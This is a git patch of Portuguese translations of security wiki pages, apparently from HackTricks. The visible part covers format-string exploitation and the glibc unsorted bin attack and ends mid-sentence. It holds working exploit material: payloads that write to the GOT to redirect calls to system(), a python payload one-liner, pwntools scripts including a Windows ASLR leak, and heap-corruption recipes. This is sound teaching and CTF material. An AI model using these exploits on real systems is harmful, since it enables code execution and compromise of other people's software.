From 6bf55162d671c48fa602f712a2ee29b76f9abdd6 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 12:00:16 +0000 Subject: [PATCH] Translated ['', 'src/binary-exploitation/stack-overflow/stack-shellcode/ --- .../format-strings/README.md | 72 +-- .../libc-heap/unsorted-bin-attack.md | 114 ++-- .../stack-overflow/README.md | 70 +-- .../stack-overflow/stack-shellcode/README.md | 68 +-- .../stack-overflow/windows-seh-overflow.md | 74 ++- .../phishing-documents.md | 70 +-- .../privilege-escalation/README.md | 481 ++++++++-------- .../arm64-basic-assembly.md | 507 ++++++++--------- .../pentesting-web/README.md | 149 +++-- .../pentesting-web/apache.md | 77 +-- .../pentesting-web/ispconfig.md | 56 +- src/pentesting-web/command-injection.md | 26 +- src/pentesting-web/idor.md | 61 ++- .../xs-search/css-injection/README.md | 196 +++---- .../xss-cross-site-scripting/README.md | 365 ++++++------- .../xss-cross-site-scripting/js-hoisting.md | 26 +- .../pentesting-ble-bluetooth-low-energy.md | 40 +- .../ad-certificates/README.md | 62 +-- .../ad-certificates/domain-escalation.md | 414 +++++++------- .../uac-user-account-control.md | 115 ++-- .../README.md | 517 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 32 +- .../com-hijacking.md | 34 +- .../named-pipe-client-impersonation.md | 59 +- .../roguepotato-and-printspoofer.md | 40 +- 25 files changed, 1865 insertions(+), 1860 deletions(-) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index d2c83d03c..83d08d39f 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Informações Básicas -Em C **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os especificadores de formato**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **especificadores de formato** do texto bruto. +Em C, a função **`printf`** pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** no texto bruto. Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**. -A vulnerabilidade aparece quando um **texto controlado pelo atacante é usado como o primeiro argumento** desta função. O atacante poderá criar uma **entrada especial explorando** as capacidades da **printf format string** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Dessa forma, é possível **executar código arbitrário**. +A vulnerabilidade aparece quando um **texto controlado pelo atacante é usado como o primeiro argumento** dessa função. O atacante poderá criar uma **entrada especial abusando** da **string de formato do printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escritável)**. Dessa forma, é possível **executar código arbitrário**. -#### Especificadores de formato: +#### Formatadores: ```bash %08x —> 8 hex bytes %d —> Entire @@ -35,7 +35,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack. int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- Com argumentos ausentes: +- Com Argumentos Ausentes: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` @@ -54,7 +54,7 @@ return 0; ``` ### **Acessando Ponteiros** -O formato **`%$x`**, onde `n` é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer: +O formato **`%$x`**, onde `n` é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da stack). Então, se você quiser ler o 4º parâmetro da stack usando printf você poderia fazer: ```c printf("%x %x %x %x") ``` @@ -66,14 +66,14 @@ printf("%4$x") ``` e ler diretamente o quarto. -Observe que o atacante controla o `printf` **parâmetro, o que basicamente significa que** sua entrada vai estar na stack quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack. +Perceba que o atacante controla o `printf` **parâmetro, o que basicamente significa que** sua entrada estará na stack quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack. > [!CAUTION] -> Um atacante controlando essa entrada será capaz de **adicionar endereços arbitrários na stack e fazer com que `printf` os acesse**. Na próxima seção será explicado como usar esse comportamento. +> Um atacante que controle essa entrada será capaz de **adicionar endereços arbitrários na stack e fazer com que `printf` os acesse**. Na próxima seção será explicado como usar esse comportamento. ## **Arbitrary Read** -É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **posição n**, seguir esse endereço e **imprimi-lo como se fosse uma string** (imprime até encontrar 0x00). Então, se o endereço base do binário for **`0x8048000`**, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com: +É possível usar o formatter **`%n$s`** para fazer o **`printf`** obter o **endereço** situado na **posição n**, segui-lo e **imprimi-lo como se fosse uma string** (imprime até encontrar um 0x00). Assim, se o endereço base do binário for **`0x8048000`**, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com: ```python from pwn import * @@ -91,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ### Encontrar offset -Para encontrar o offset para sua entrada você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`. +Para encontrar o offset para a sua entrada você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
@@ -128,25 +128,25 @@ p.close() ### Quão útil -Leituras arbitrárias podem ser úteis para: +Arbitrary reads podem ser úteis para: -- **Dump** do **binary** da memória -- **Acessar partes específicas da memória onde informações sensíveis são armazenadas** (como canaries, encryption keys ou custom passwords como neste [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** da memória +- **Access specific parts of memory where sensitive** **info** is stored (como canaries, encryption keys ou custom passwords como neste [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -O formatador **`%$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele poderá fazer com que **`%$n`** escreva um número arbitrário em um endereço arbitrário. +O formatter **`%$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no param na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele conseguirá fazer com que **`%$n`** escreva um número arbitrário em um endereço arbitrário. -Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s na entrada; para isso é possível usar o formatador **`%.%$n`** para escrever o número **``** no **endereço apontado pela posição `num`**. +Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s ao input; em vez disso é possível usar o formatter **`%.%$n`** para escrever o número **``** no **endereço apontado pela posição `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -No entanto, note que normalmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma só vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos. +No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos. Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (arbitrary write).** -Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada depois. Embora isso possa explorar outras técnicas de arbitrary write para execução: +Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada posteriormente. Embora isso possa abusar de outras técnicas de arbitrary write para exec: {{#ref}} @@ -154,12 +154,12 @@ Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **funç {{#endref}} Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\ -Como mencionado, para escrever o endereço normalmente são necessários 2 passos: você **escreve primeiro 2 Bytes** do endereço e depois os outros 2. Para isso é usado **`$hn`**. +Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso é usado **`$hn`**. -- **HOB** refere-se aos 2 bytes mais altos do endereço -- **LOB** refere-se aos 2 bytes mais baixos do endereço +- **HOB** refere-se aos 2 higher bytes of the address +- **LOB** refere-se aos 2 lower bytes of the address -Então, por causa de como o format string funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. +Então, devido a como format string funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. Se HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Template do Pwntools +### Pwntools Template -Você pode encontrar um **modelo** para preparar um exploit para este tipo de vulnerabilidade em: +Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em: {{#ref}} format-strings-template.md {{#endref}} -Ou este exemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -201,26 +201,26 @@ p.interactive() ``` ## Format Strings to BOF -É possível abusar das ações de escrita de uma format string vulnerability para **escrever em endereços do stack** e explorar um tipo de vulnerabilidade **buffer overflow**. +É possível abusar das ações de escrita de uma format string vulnerability para **escrever em endereços da stack** e explorar um tipo de vulnerabilidade **buffer overflow**. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos buggy call-sites a string controlada pelo atacante é usada como o argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo: +On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos locais de chamada com bug, a string controlada pelo atacante é usada como argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Porque nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura para "%p" vem de R9. Qualquer valor transitório que esteja em R9 no call-site será impresso. Na prática isso frequentemente leaked um ponteiro estável in-module (por exemplo, um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um callee-saved value), o que pode ser usado para recuperar o module base e derrotar ASLR. +Como nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura desse tipo para "%p" vem de R9. Qualquer valor transitório em R9 no ponto de chamada será impresso. Na prática isso frequentemente causa um leak de um ponteiro estável no módulo (por ex., um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um valor preservado (callee-saved)), que pode ser usado para recuperar a base do módulo e derrotar o ASLR. Practical workflow: -- Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão execute antes de qualquer filtragem. -- Capture o leaked pointer, identifique o offset estático desse objeto dentro do módulo (by reversing uma vez com símbolos ou uma cópia local), e recupere o image base como `leak - known_offset`. -- Reuse essa base para calcular endereços absolutos de ROP gadgets e IAT entries remotamente. +- Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão seja executada antes de qualquer filtragem. +- Capture o ponteiro leakado, identifique o offset estático desse objeto dentro do módulo (por meio de análise reversa com símbolos ou uma cópia local) e recupere a base da imagem como `leak - known_offset`. +- Reutilize essa base para calcular endereços absolutos de ROP gadgets e entradas IAT remotamente. -Example (abbreviated python): +Exemplo (python abreviado): ```python from pwn import remote @@ -233,11 +233,11 @@ base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` Notas: -- O offset exato a subtrair é encontrado uma vez durante o reversing local e então reutilizado (mesmo binário/versão). -- Se "%p" não imprimir um pointer válido na primeira tentativa, tente outros specifiers ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para amostrar outros registers/stack de argumentos. -- Este padrão é específico da calling convention Windows x64 e das implementações printf-family que buscam varargs inexistentes nos registers quando o format string os solicita. +- O offset exato a subtrair é encontrado uma vez durante o reversing local e depois reutilizado (mesmo binary/version). +- Se "%p" não imprimir um ponteiro válido na primeira tentativa, experimente outros especificadores ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para inspecionar outros argument registers/stack. +- Este padrão é específico da Windows x64 calling convention e de implementações da printf-family que buscam varargs inexistentes em registers quando a format string os solicita. -Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de divulgação de memória. +Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de memory disclosure. ## Outros Exemplos & Referências @@ -245,11 +245,11 @@ Esta técnica é extremamente útil para bootstrap ROP em serviços Windows comp - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak da flag a partir da stack (sem necessidade de alterar o fluxo de execução) +- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak a flag a partir da stack (sem necessidade de alterar o fluxo de execução) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bit, relro, no canary, nx, no pie, format string para sobrescrever o endereço `fflush` com a função win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string para escrever um endereço dentro de main em `.fini_array` (assim o fluxo volta mais 1 vez) e escrever o endereço de `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna para main, `strlen` é executado com input do usuário e, estando apontando para `system`, executará os comandos passados. +- 32 bit, relro, no canary, nx, no pie, format string para escrever um endereço dentro de main em `.fini_array` (assim o fluxo volta mais 1 vez) e escrever o endereço de `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna a main, `strlen` é executada com entrada do usuário e apontando para `system`, ela executará os comandos passados. ## Referências diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index c9a5aff86..1fcddbe3a 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,30 +4,30 @@ ## Informações Básicas -For more information about what is an unsorted bin check this page: +Para mais informações sobre o que é um unsorted bin, confira esta página: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Unsorted lists conseguem escrever o endereço de `unsorted_chunks (av)` no campo `bk` do chunk. Portanto, se um atacante puder **modificar o endereço do ponteiro `bk`** em um chunk dentro do unsorted bin, ele pode ser capaz de **escrever esse endereço em um endereço arbitrário**, o que pode ser útil para recuperar endereços do Glibc ou contornar alguma defesa. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack). +Basicamente, esse ataque permite **colocar um número grande em um endereço arbitrário**. Esse número grande é um endereço, que pode ser um endereço do heap ou do Glibc. Um alvo tradicional era **`global_max_fast`** para permitir criar fast bins com tamanhos maiores (e passar de um unsorted bin attack para um fast bin attack). -- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. +- Observação moderna (glibc ≥ 2.39): `global_max_fast` tornou-se uma global de 8 bits. Escrever cegamente um ponteiro lá via unsorted-bin write irá corromper dados adjacentes do libc e não elevará de forma confiável o limite de fastbin. Prefira outros alvos ou primitivas ao atacar glibc 2.39+. Veja "Modern constraints" abaixo e considere combinar com outras técnicas como um [large bin attack](large-bin-attack.md) ou um [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) uma vez que tenha uma primitiva estável. > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> T> Dando uma olhada no exemplo fornecido em [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usando 0x4000 e 0x5000 em vez de 0x400 e 0x500 como tamanhos de chunk (para evitar Tcache) é possível ver que **hoje em dia** o erro **`malloc(): unsorted double linked list corrupted`** é disparado. > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> Portanto, esse unsorted bin attack agora (entre outros cheques) também requer ser capaz de consertar a doubly linked list para que isso seja contornado `victim->bk->fd == victim` ou `victim->fd == av (arena)`, o que significa que o endereço onde queremos escrever deve ter o endereço do chunk falso em sua posição `fd` e que o `fd` do chunk falso aponte para a arena. > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> Note que esse ataque corrompe o unsorted bin (portanto small e large também). Assim, agora só podemos **usar alocações do fast bin** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso devemos **alocar do mesmo tamanho ou o programa irá travar.** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> Note que sobrescrever **`global_max_fast`** pode ajudar nesse caso, confiando que o fast bin cuidará de todas as outras alocações até que o exploit seja completado. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +O código do [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explica muito bem, embora se você modificar os mallocs para alocar memória grande o suficiente para não cair no Tcache você pode ver que o erro mencionado anteriormente aparece impedindo essa técnica: **`malloc(): unsorted double linked list corrupted`** ### Como a escrita realmente acontece @@ -38,34 +38,34 @@ The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_a ## Restrições modernas (glibc ≥ 2.33) -To use unsorted‑bin writes reliably on current glibc: +Para usar unsorted‑bin writes de forma confiável no glibc atual: -- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either -- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or -- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or -- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): -- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. -- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. -- Typical stable targets in modern exploits -- Application or global state that treats "large" values as flags/limits. -- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). -- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). -- About `global_max_fast` on recent glibc -- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. +- Interferência do Tcache: para tamanhos que caem no tcache, frees são desviados para lá e não tocarão o unsorted bin. Ou + - faça requisições com tamanhos > MAX_TCACHE_SIZE (≥ 0x410 em 64‑bit por padrão), ou + - preencha a bin correspondente do tcache (7 entradas) para que frees adicionais atinjam os bins globais, ou + - se o ambiente for controlável, desative o tcache (por exemplo, GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Checagens de integridade na unsorted list: no próximo caminho de alocação que examina o unsorted bin, o glibc checa (simplificado): + - `bck->fd == victim` e `victim->fd == unsorted_chunks(av)`; caso contrário ele aborta com `malloc(): unsorted double linked list corrupted`. +- Isso significa que o endereço que você mira deve tolerar duas escritas: primeiro `*(TARGET) = victim` em tempo de free; depois, enquanto o chunk é removido, `*(TARGET) = unsorted_chunks(av)` (o allocator reescreve `bck->fd` de volta para a cabeça do bin). Escolha alvos onde simplesmente forçar um valor grande não‑zero seja útil. +- Alvos típicos e estáveis em exploits modernos + - Estado da aplicação ou variáveis globais que tratam valores "grandes" como flags/limites. + - Primitivas indiretas (por exemplo, preparar para um subsequente [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ou para pivotar uma escrita write‑what‑where posterior). + - Evite `__malloc_hook`/`__free_hook` no glibc novo: eles foram removidos na 2.34. Evite `global_max_fast` em ≥ 2.39 (ver nota anterior). +- Sobre `global_max_fast` no glibc recente + - No glibc 2.39+, `global_max_fast` é uma global de 8‑bits. O truque clássico de escrever um ponteiro de heap ali (para aumentar fastbins) não funciona limpo e provavelmente corromperá o estado do allocator adjacente. Prefira outras estratégias. ## Receita mínima de exploração (glibc moderno) -Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. +Objetivo: conseguir uma única escrita arbitrária de um ponteiro do heap para um endereço arbitrário usando a primitiva de inserção do unsorted‑bin, sem travar o programa. - Layout/grooming -- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. -- Corruption -- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. -- Trigger -- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. -- Continuation -- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". + - Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. +- Corrupção + - Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. +- Gatilho + - `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. +- Continuação + - If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". Pseudocode skeleton: ```c @@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Se você não consegue bypassar o tcache por tamanho, preencha o tcache bin para o tamanho escolhido (7 frees) antes de dar free no chunk corrompido para que o free vá para unsorted. -> • Se o programa aborta imediatamente na próxima alocação devido às checagens do unsorted-bin, reexamine se `victim->fd` ainda é igual à cabeça do bin e se o seu `TARGET` mantém o ponteiro exato `victim` após a primeira escrita. +> • Se não conseguir contornar o tcache pelo tamanho, encha o tcache bin para o tamanho escolhido (7 frees) antes de dar free no chunk corrompido para que o free vá para unsorted. +> • Se o programa abortar imediatamente na próxima allocation devido às checagens do unsorted-bin, reanalise se `victim->fd` ainda é igual ao head do bin e se seu `TARGET` contém o ponteiro exato `victim` após a primeira escrita. ## Unsorted Bin Infoleak Attack -Isto é, na verdade, um conceito muito básico. Os chunks no unsorted bin vão ter pointers. O primeiro chunk no unsorted bin terá na verdade os links **`fd`** e **`bk`** **apontando para uma parte do main arena (Glibc)**.\ -Portanto, se você conseguir **colocar um chunk dentro de um unsorted bin e lê-lo** (use after free) ou **alocá-lo novamente sem sobrescrever pelo menos 1 dos ponteiros** para então **lê-lo**, você pode ter um **Glibc info leak**. +Este é, na verdade, um conceito bem básico. Os chunks no unsorted bin vão ter pointers. O primeiro chunk no unsorted bin terá de fato os links **`fd`** e **`bk`** **apontando para uma parte do main arena (Glibc)**.\ +Portanto, se você conseguir **colocar um chunk dentro de um unsorted bin e lê‑lo** (use after free) ou **alocá‑lo novamente sem sobrescrever pelo menos 1 dos pointers** para então **lê‑lo**, você pode obter um **Glibc info leak**. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), foi abusar de uma estrutura de 4 chunks (A, B, C e D - D existe apenas para prevenir consolidação com o top chunk) de modo que um null byte overflow em B foi usado para fazer C indicar que B estava unused. Também, em B o campo `prev_size` foi modificado de modo que o tamanho em vez de ser o tamanho de B era A+B.\ -Então C foi desalocado e consolidado com A+B (mas B ainda estava em uso). Um novo chunk do tamanho de A foi alocado e então os endereços libc leakados foram escritos em B de onde foram leakados. +Um ataque semelhante [**usado neste writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) consistiu em abusar de uma estrutura de 4 chunks (A, B, C e D - D existe apenas para evitar consolidação com o top chunk) de modo que um null byte overflow em B foi usado para fazer C indicar que B estava unused. Além disso, em B o dado `prev_size` foi modificado de forma que o size, ao invés de ser o size de B, era A+B.\ +Então C foi deallocado, e consolidado com A+B (mas B ainda estava in use). Um novo chunk de tamanho A foi alocado e então os endereços libc vazados foram escritos em B, de onde foram leakados. ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - O objetivo é sobrescrever uma variável global com um valor maior que 4869 para que seja possível obter a flag e o PIE não está habilitado. - É possível gerar chunks de tamanhos arbitrários e existe um heap overflow com o tamanho desejado. -- O ataque começa criando 3 chunks: chunk0 para abusar do overflow, chunk1 para ser overflowado e chunk2 para que o top chunk não consolide os anteriores. -- Então, chunk1 é freeado e chunk0 é overflowado para que o ponteiro `bk` de chunk1 aponte para: `bk = magic - 0x10` -- Então, chunk3 é alocado com o mesmo tamanho que chunk1, o que irá disparar o unsorted bin attack e modificará o valor da variável global, tornando possível obter a flag. +- O ataque começa criando 3 chunks: chunk0 para abusar do overflow, chunk1 para ser overflowed e chunk2 para que o top chunk não consolide os anteriores. +- Então, chunk1 é freed e chunk0 é overflowed até o ponteiro `bk` de chunk1 apontar para: `bk = magic - 0x10` +- Depois, chunk3 é alocado com o mesmo size que chunk1, o que irá disparar o unsorted bin attack e vai modificar o valor da variável global, possibilitando obter a flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- A função merge é vulnerável porque, se ambos os índices passados forem o mesmo, ela fará realloc nele e então o freeará, mas retornará um ponteiro para aquela região liberada que pode ser usada. -- Portanto, **2 chunks são criados**: **chunk0** que será merged com ele mesmo e chunk1 para prevenir a consolidação com o top chunk. Depois, a **merge function é chamada com chunk0** duas vezes, o que causará um use after free. -- Então, a função **`view`** é chamada com o índice 2 (que é o índice do chunk com use after free), o que irá leakar um endereço libc. -- Como o binário tem proteções que só permitem malloc de tamanhos maiores que **`global_max_fast`**, então nenhum fastbin é usado; um unsorted bin attack será usado para sobrescrever a variável global `global_max_fast`. -- Depois, é possível chamar a função edit com o índice 2 (o ponteiro do use after free) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk que usará o endereço previamente comprometido (0x20) irá **trigger the unsorted bin attack**, sobrescrevendo o `global_max_fast` com um valor muito grande, permitindo agora criar chunks em fast bins. -- Now a **fast bin attack** is performed: -- Primeiro, é descoberto que é possível trabalhar com fast **chunks de tamanho 200** na localização **`__free_hook`**: +- A função merge é vulnerável porque se ambos os índices passados forem o mesmo ela irá realloc sobre ele e 